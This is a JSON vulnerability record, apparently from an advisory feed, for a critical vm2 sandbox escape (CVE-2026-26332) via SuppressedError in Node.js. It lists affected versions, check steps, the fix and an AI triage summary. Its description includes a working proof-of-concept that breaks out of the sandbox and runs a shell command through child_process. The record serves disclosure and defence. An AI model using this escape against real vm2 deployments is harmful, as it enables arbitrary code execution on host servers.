{"id":"CVE-2026-26332","kind":"vulnerability","aliases":["CVE-2026-26332","GHSA-55hx-c926-fr95"],"related":[],"title":"VM2 Has a Sandbox Escape Issue via SuppressedError","description":"In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code.\n\n### PoC\n```js\nconst { VM } = require(\"vm2\");\n\nconst vm = new VM();\n\nvm.run(`\nconst ds = new DisposableStack();\nds.defer(() => { throw null; });\nds.defer(() => {\n  const e = Error();\n  e.name = Symbol();\n  e.stack;\n});\ntry {\n  ds.dispose();\n} catch(e) {\n  const Function = e.suppressed.constructor.constructor;\n  const process = new Function(\"return process;\")();\n  const { execSync } = process.mainModule.require(\"node:child_process\");\n  execSync(\"echo pwned\", { stdio: \"inherit\" });\n}\n`);\n```","summary":"vm2 is a Node.js library for running untrusted JavaScript in a sandbox. A crafted use of SuppressedError inside the sandbox lets attacker code break out and run arbitrary commands on the host.","severity":"critical","cvss":10.0,"epss":0.0071,"exploited":false,"exploited_at":null,"products":[{"name":"vm2","fixed":["3.11.0"],"affected":"< 3.11.0","ecosystem":"npm"},{"name":"vm2 project vm2","fixed":["3.11.0"],"affected":"< 3.11.0","ecosystem":"vendor"}],"ecosystems":["npm","vendor"],"tags":["cwe-653","cwe-693","cwe-94","javascript","node.js","package","vm2"],"not_affected_if":["no-vm2-dependency","trusted-code-only"],"how_to_check":"- Find vm2 in dependencies: `npm ls vm2`\n- Check the installed version is below `3.11.0`\n- Look for code that passes untrusted input to `new VM().run(...)`","fix":"- Upgrade vm2 to `3.11.0`","status":"open","published_at":"2026-05-04T17:16:22+00:00","first_seen_at":"2026-11-04T03:31:21+00:00","triaged_at":"2026-11-04T03:32:42+00:00","updated_at":"2026-11-04T03:46:40+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-04T03:32:42Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade vm2 to `3.11.0`","reach":"unknown","title":"vm2: SuppressedError sandbox escape lets untrusted code run commands","impact":"high","summary":"vm2 is a Node.js library for running untrusted JavaScript in a sandbox. A crafted use of SuppressedError inside the sandbox lets attacker code break out and run arbitrary commands on the host.","audience":"developers","category":"package","nicknames":[],"who_cares":["node.js","vm2","javascript"],"confidence":0.8,"fix_status":"available","needs_auth":"unknown","worst_case":"Attacker code runs arbitrary commands on the host server","analyst_note":"","how_to_check":"- Find vm2 in dependencies: `npm ls vm2`\n- Check the installed version is below `3.11.0`\n- Look for code that passes untrusted input to `new VM().run(...)`","plain_action":"","needs_analyst":false,"not_affected_if":["trusted-code-only","no-vm2-dependency"],"who_is_affected":"Applications that run untrusted or user-supplied JavaScript through vm2 are exposed, because the sandbox can be escaped. Projects that only use vm2 on trusted code they wrote themselves are at much lower risk. The advisory's proof of concept runs on Node.js v24.13.0 with vm2 3.10.4.","user_interaction":"no","needs_special_setup":"unknown","severity_if_unknown":"unknown"},"cost_usd":0.000704,"input_tokens":4458,"output_tokens":517,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-2026':10A,18A '-26332':11A,19A '-653':25B '-693':27B '-94':29B '55hx':14A 'allow':73C 'arbitrari':61B,81C 'attack':55B,74C 'break':57B 'c926':15A 'catch':110C 'child':125C 'code':56B,82C 'command':62B 'const':85C,89C,94C,102C,112C,115C,121C 'craft':47B 'cve':9A,17A 'cwe':24B,26B,28B 'disposablestack':97C 'ds':95C 'ds.defer':98C,101C 'ds.dispose':109C 'e':103C,111C 'e.name':105C 'e.stack':107C 'e.suppressed.constructor.constructor':114C 'echo':128C 'error':104C 'escap':5A,76C 'execsync':122C,127C 'fr95':16A 'function':113C,118C 'ghsa':13A 'ghsa-55hx-c926-fr95':12A 'host':65B 'inherit':131C 'insid':51B 'issu':6A 'javascript':30B,42B 'js':84C 'let':54B 'librari':38B 'new':91C,96C,117C 'node':124C 'node.js':31B,37B,70C 'null':100C 'packag':32B 'poc':83C 'process':116C,120C,126C 'process.mainmodule.require':123C 'project':22A 'pwned':129C 'requir':87C 'return':119C 'run':40B,60B,80C 'sandbox':4A,45B,53B,78C 'stdio':130C 'suppressederror':8A,50B,72C 'symbol':106C 'throw':99C 'tri':108C 'untrust':41B 'use':48B 'v24.13.0':71C 'v3.10.4':68C 'via':7A 'vm':86C,90C,92C 'vm.run':93C 'vm2':1A,20A,21A,23A,33B,34B,67C,88C","nicknames":[],"mitigations":[],"who_affected":"Applications that run untrusted or user-supplied JavaScript through vm2 are exposed, because the sandbox can be escaped. Projects that only use vm2 on trusted code they wrote themselves are at much lower risk. The advisory's proof of concept runs on Node.js v24.13.0 with vm2 3.10.4.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["projectvm2","vm2","vm2projectvm2"],"ptokens":["project","vm2"],"labels":["critical","cwe653","cwe693","cwe94","javascript","nodejs","npm","package","vendor","vm2"],"campaign_type":null,"first_public_at":"2026-05-01T20:41:32+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-55hx-c926-fr95","url":"https://github.com/advisories/GHSA-55hx-c926-fr95","severity":"critical","published_at":"2026-05-05T16:33:45+00:00","modified_at":"2026-11-04T03:29:32+00:00","first_seen_at":"2026-11-04T03:31:21+00:00","fetched_at":"2026-11-04T03:31:21+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-26332","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26332","severity":null,"published_at":"2026-05-04T17:16:22+00:00","modified_at":"2026-10-26T19:10:00+00:00","first_seen_at":"2026-11-04T03:46:40+00:00","fetched_at":"2026-11-04T03:46:40+00:00","note":null}],"documents":[{"id":63587,"url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-55hx-c926-fr95","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":63588,"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-55hx-c926-fr95","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-05-01T20:41:32+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":63589,"url":"https://github.com/patriksimek/vm2/commit/119fd0aa1e4c27b08cf37946b2dafa99e2c754f0","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":63590,"url":"https://github.com/patriksimek/vm2/commit/4cb82cc94d9bb6c9a918b45f8c6790c32a5e913f","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":63591,"url":"https://github.com/patriksimek/vm2/commit/7395c3a4b01d302e55271c87dbeb44d6b83b81ca","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":63592,"url":"https://github.com/patriksimek/vm2/commit/792e16d56ee429ab19e284ed9c545f5e4694fb7d","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":63593,"url":"https://github.com/patriksimek/vm2/commit/d715dd88c5aec5bbb4dce03ddf7c3eb3791d0338","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":63594,"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}